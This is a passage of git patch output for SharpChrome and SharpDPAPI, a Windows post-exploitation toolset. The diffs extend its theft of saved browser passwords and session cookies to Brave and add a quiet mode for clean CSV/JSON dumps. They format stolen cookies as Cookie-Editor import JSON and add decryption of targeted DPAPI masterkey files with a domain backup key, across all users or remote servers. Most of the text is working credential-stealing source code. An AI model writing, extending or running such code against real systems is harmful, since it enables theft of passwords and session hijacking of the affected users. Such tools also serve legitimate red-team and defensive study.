{0}\r\n", target); + } + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes, quiet); } else { @@ -113,7 +135,7 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser); + Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser, quiet); } } } diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index a2b59b8..3890a93 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -35,19 +35,20 @@ public static void ShowUsage() Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) - /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave' Output: /format:X - either 'csv' (default) or 'table' display /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) /consoleoutfile:X - output all console output to a file on disk + /quiet - don't output headers/etc. (for .csv/.json file output) 'cookies' command specific arguments: /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex - /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! + /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) "; diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs index 4ae5474..86712d7 100755 --- a/SharpChrome/Program.cs +++ b/SharpChrome/Program.cs @@ -39,7 +39,10 @@ private static void MainExecute(string commandName, Dictionary p Stopwatch sw = new Stopwatch(); sw.Start(); - Info.ShowLogo(); + if (!parsedArgs.ContainsKey("/quiet")) + { + Info.ShowLogo(); + } try { @@ -56,7 +59,11 @@ private static void MainExecute(string commandName, Dictionary p } sw.Stop(); - Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + + if (!parsedArgs.ContainsKey("/quiet")) + { + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } } public static string MainString(string command) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 27d8b72..7d20c5c 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -21,7 +21,7 @@ class Chrome // approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project // but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp - public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome") + public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome", bool quiet = false) { // triage all Edge/Chrome 'Login Data' files we can reach @@ -43,7 +43,10 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -74,16 +77,21 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } + else if (browser.ToLower() == "brave") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", dir); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet); } ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); @@ -105,23 +113,28 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } + else if (browser.ToLower() == "brave") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true, quiet); } - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey, quiet); } } - public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome") + public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome", bool quiet = false) { // triage all Edge/Chrome Cookies we can reach @@ -173,19 +186,24 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } + else if (browser.ToLower() == "brave") + { + cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", dir); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet); } - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet); } } } @@ -206,19 +224,24 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } + else if (browser.ToLower() == "brave") + { + cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true, quiet); // force /unprotect } - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet); } } @@ -240,7 +263,7 @@ public static void TriageStateKeys(Dictionary MasterKeys, string { if (File.Exists(target)) { - byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect, false); } else { @@ -275,13 +298,13 @@ public static void TriageStateKeys(Dictionary MasterKeys, string if (File.Exists(chromeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect, false); } if (File.Exists(edgeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect, false); } } } @@ -297,19 +320,19 @@ public static void TriageStateKeys(Dictionary MasterKeys, string if (File.Exists(chromeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true, false); // force /unprotect } if (File.Exists(edgeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true, false); // force /unprotect } } } } - public static void ParseChromeLogins(Dictionary MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null) + public static void ParseChromeLogins(Dictionary MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null, bool quiet = false) { // takes an individual 'Login Data' file path and performs decryption/triage on it if (!File.Exists(loginDataFilePath)) @@ -406,7 +429,14 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); + if (!quiet) + { + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); + } + else + { + Console.WriteLine("SEP=,"); + } Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; @@ -425,7 +455,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri database.Close(); } - public static void ParseChromeCookies(Dictionary MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null) + public static void ParseChromeCookies(Dictionary MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null, bool quiet = false) { // takes an individual Cookies file path and performs decryption/triage on it @@ -473,7 +503,6 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // new, seems to work with partial indexing?? "/giphy table flip" string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; List results = database.Query2(query, false); - int id = 1; // used if cookies "never expire" for json output DateTime epoch = new DateTime(1601, 1, 1); @@ -516,33 +545,45 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString()); DateTime expires = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString()); + + double expDateDouble = 0; + long expDate; + Int64.TryParse(row.column[4].Value.ToString(), out expDate); + // https://github.com/djhohnstein/SharpChrome/issues/1 + if ((expDate / 1000000.000000000000) - 11644473600 > 0) + expDateDouble = (expDate / 1000000.000000000000000) - 11644473600; + DateTime lastAccess = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString()); // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; - if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) - { - displayValue = true; - } - else if (!String.IsNullOrEmpty(cookieRegex)) - { - Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase); - if (match.Success) - { - displayValue = true; - } - } - else if (!String.IsNullOrEmpty(urlRegex)) + // if there is a regex + if (!String.IsNullOrEmpty(cookieRegex) || !String.IsNullOrEmpty(urlRegex)) { - Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase); - if (match.Success) + // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration + if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { - displayValue = true; + if (!String.IsNullOrEmpty(cookieRegex)) + { + Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase); + if (match.Success) + { + displayValue = true; + } + } + else if (!String.IsNullOrEmpty(urlRegex)) + { + Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase); + if (match.Success) + { + displayValue = true; + } + } } } - else if (expires > DateTime.UtcNow) - { + else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { + // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration displayValue = true; } @@ -565,15 +606,22 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); + if (!quiet) + { + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nCookie-Editor import JSON:\r\n\r\n[\r\n{{", cookieFilePath); + } + else + { + Console.WriteLine("[\r\n{"); + } } else { - Console.WriteLine("},\r\n{\r\n"); + Console.WriteLine("},\r\n{"); } + someResults = true; - + Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value))); if (setneverexpire) { @@ -581,26 +629,34 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } else { - Console.WriteLine(" \"expirationDate\": {0},", row.column[4].Value.ToString()); + if (expDateDouble != 0) + { + Console.WriteLine(" \"expirationDate\": {0},", expDateDouble); + } } Console.WriteLine(" \"hostOnly\": false,"); - Console.WriteLine(" \"httpOnly\": false,"); + Console.WriteLine(" \"httpOnly\": true,"); Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value))); Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value)); Console.WriteLine(" \"sameSite\": \"no_restriction\","); - Console.WriteLine(" \"secure\": false,"); - Console.WriteLine(" \"session\": false,"); - Console.WriteLine(" \"storeId\": \"0\","); - Console.WriteLine(" \"value\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(value)); - Console.WriteLine(" \"id\": \"{0}\"", id); - id++; + Console.WriteLine(" \"secure\": true,"); + Console.WriteLine(" \"session\": true,"); + Console.WriteLine(" \"storeId\": null,"); + Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value)); } else { // csv output if (!someResults) { - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + if (!quiet) + { + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + } + else + { + Console.WriteLine("SEP=,"); + } Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; @@ -688,7 +744,7 @@ public static byte[] DecryptBase64StateKey(Dictionary MasterKeys return null; } - public static byte[] GetStateKey(Dictionary MasterKeys, string localStatePath, bool unprotect) + public static byte[] GetStateKey(Dictionary MasterKeys, string localStatePath, bool unprotect, bool quiet) { // gets the base64 version of the encrypted state key // and then decrypts it using either masterkeys or DPAPI functions @@ -698,14 +754,23 @@ public static byte[] GetStateKey(Dictionary MasterKeys, string l if (stateKey != null) { - Console.WriteLine("\r\n\r\n[*] AES state key file : {0}", localStatePath); + if (!quiet) + { + Console.WriteLine("\r\n\r\n[*] AES state key file : {0}", localStatePath); + } if (stateKey.Length == 32) { - Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", "")); + if (!quiet) + { + Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", "")); + } } else { - Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey)); + if (!quiet) + { + Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey)); + } return null; } } From cfed81d01f40eb581aaa8649bf3f937014869ea5 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Thu, 5 Nov 2020 09:21:40 -0800 Subject: [PATCH 10/66] Added /target support for 'masterkeys' -Added ability to manually decrypt a target masterkey file/folder --- SharpDPAPI/Commands/Masterkeys.cs | 25 ++-- SharpDPAPI/Domain/Info.cs | 10 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/lib/Dpapi.cs | 2 +- SharpDPAPI/lib/Helpers.cs | 5 + SharpDPAPI/lib/Triage.cs | 185 +++++++++++++++++++----------- 6 files changed, 151 insertions(+), 78 deletions(-) diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 8699b66..d8f2562 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -32,6 +32,11 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]); mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]); } + else if (arguments.ContainsKey("/target")) + { + Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); + mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]); + } else { Console.WriteLine(); @@ -57,17 +62,19 @@ public void Execute(Dictionary arguments) return; } - - if (mappings.Count == 0) + if (!arguments.ContainsKey("/password")) { - Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); - } - else - { - Console.WriteLine("\r\n[*] User master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) + if (mappings.Count == 0) + { + Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); + } + else { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + Console.WriteLine("\r\n[*] User master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } } } } diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index 178fbad..e2cd4f0 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -41,9 +41,13 @@ public static void ShowUsage() User Triage: - Triage all reachable user masterkey files, use a domain backup key to decrypt all that are found: + Arguments for the 'masterkeys' command: - SharpDPAPI masterkeys + /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /server:SERVER - triage a remote server, assuming admin access Arguments for the certificates|credentials|vaults|rdg|triage|blob|ps commands: @@ -59,7 +63,7 @@ public static void ShowUsage() Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder /server:SERVER - triage a remote server, assuming admin access - Note: must use with /pvk:KEY + Note: must use with /pvk:KEY or /password:X Note: not applicable to 'blob' or 'ps' commands diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 6f0b6f1..92b46a0 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.9.0"; + public static string version = "1.9.1"; } } diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index bd46c40..e09502c 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -232,6 +232,7 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, { var plaintextBytes = DescribeDPAPICertBlob(certificateBytes, MasterKeys); var keypairTuple = new Tuple("", ""); + if (plaintextBytes.Length > 0) { var decryptedRSATuple = ParseDecCertBlob(plaintextBytes); @@ -270,7 +271,6 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, int BufferSize = 64; int Index = 0; var sb = new StringBuilder(); - sb.AppendLine("-----BEGIN CERTIFICATE-----"); for (var i = 0; i < b64cert.Length; i += 64) { diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index db76206..3370592 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -588,5 +588,10 @@ static bool IsEmptyLocate(T[] array, T[] candidate) || candidate.Length == 0 || candidate.Length > array.Length; } + + public static bool IsGuid(string value) + { + return Regex.IsMatch(value, @"^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$"); + } } } \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index c006fd0..ec30709 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -10,98 +10,160 @@ namespace SharpDPAPI { public class Triage { - public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "") + public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "", string target = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied var mappings = new Dictionary(); var canAccess = false; - if (!String.IsNullOrEmpty(computerName)) + if (!String.IsNullOrEmpty(target)) { - canAccess = Helpers.TestRemote(computerName); - if (!canAccess) + // if we're targeting specific masterkey files + + if (backupKeyBytes.Length == 0) { - return new Dictionary(); + // currently only backupkey is supported + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...'"); + return mappings; } - } - - string[] userDirs; - - if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) - { - // if elevated, triage ALL reachable masterkeys - - var userFolder = !String.IsNullOrEmpty(computerName) ? - $"\\\\{computerName}\\C$\\Users\\" : - $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - userDirs = Directory.GetDirectories(userFolder); - } - else - { - // otherwise we're only triaging the current user's path - userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; - } - - foreach (var dir in userDirs) - { - if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) - continue; + if (!File.Exists(target) && !Directory.Exists(target)) + { + Console.WriteLine($"[X] The target '{target}' doesn't exist!"); + return mappings; + } - var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; - if (!Directory.Exists(userDPAPIBasePath)) - continue; + KeyValuePair plaintextMasterKey; - var directories = Directory.GetDirectories(userDPAPIBasePath); - foreach (var directory in directories) + if ((File.GetAttributes(target) & FileAttributes.Directory) == FileAttributes.Directory) { - var files = Directory.GetFiles(directory); - var isDomain = false; - byte[] hmacBytes = null; + // if we're triaging a folder of masterkeys + var files = Directory.GetFiles(target); foreach (var file in files) { - // if the BK- file exists, assume this is a domain user. - if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) + try + { + FileInfo f = new FileInfo(file); + + if (Helpers.IsGuid(f.Name)) + { + var masterKeyBytes = File.ReadAllBytes(file); + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + } + catch (Exception e) { - isDomain = true; // means use the NTLM of the user password instead of the SHA1 + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); } } + } + else + { + // otherwise we're triaging one file + try + { + var masterKeyBytes = File.ReadAllBytes(target); + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); + } + } + } - if (!String.IsNullOrEmpty(password)) + else + { + if (!String.IsNullOrEmpty(computerName)) + { + canAccess = Helpers.TestRemote(computerName); + if (!canAccess) { - hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + return new Dictionary(); } + } - foreach (var file in files) + string[] userDirs; + + if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) + { + // if elevated, triage ALL reachable masterkeys + + var userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + + userDirs = Directory.GetDirectories(userFolder); + } + else + { + // otherwise we're only triaging the current user's path + userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; + } + + foreach (var dir in userDirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; + if (!Directory.Exists(userDPAPIBasePath)) + continue; + + var directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (var directory in directories) { - if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - continue; + var files = Directory.GetFiles(directory); + var isDomain = false; + byte[] hmacBytes = null; - if (show) + foreach (var file in files) { - Console.WriteLine("[*] Found MasterKey : {0}", file); + // if the BK- file exists, assume this is a domain user. + if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) + { + isDomain = true; // means use the NTLM of the user password instead of the SHA1 + } } - var masterKeyBytes = File.ReadAllBytes(file); - try + if (!String.IsNullOrEmpty(password)) + { + hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + } + + foreach (var file in files) { - KeyValuePair plaintextMasterKey; - if (!String.IsNullOrEmpty(password)) + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + if (show) { - plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + Console.WriteLine("[*] Found MasterKey : {0}", file); } - else + + var masterKeyBytes = File.ReadAllBytes(file); + try { - plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + KeyValuePair plaintextMasterKey; + if (!String.IsNullOrEmpty(password)) + { + plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + } + else + { + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + } + + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } - - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } @@ -532,11 +594,6 @@ public static void TriageCertFile(string certFilePath, Dictionary Date: Thu, 5 Nov 2020 09:22:26 -0800 Subject: [PATCH 11/66] Updated CHANGELOG.md --- CHANGELOG.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) 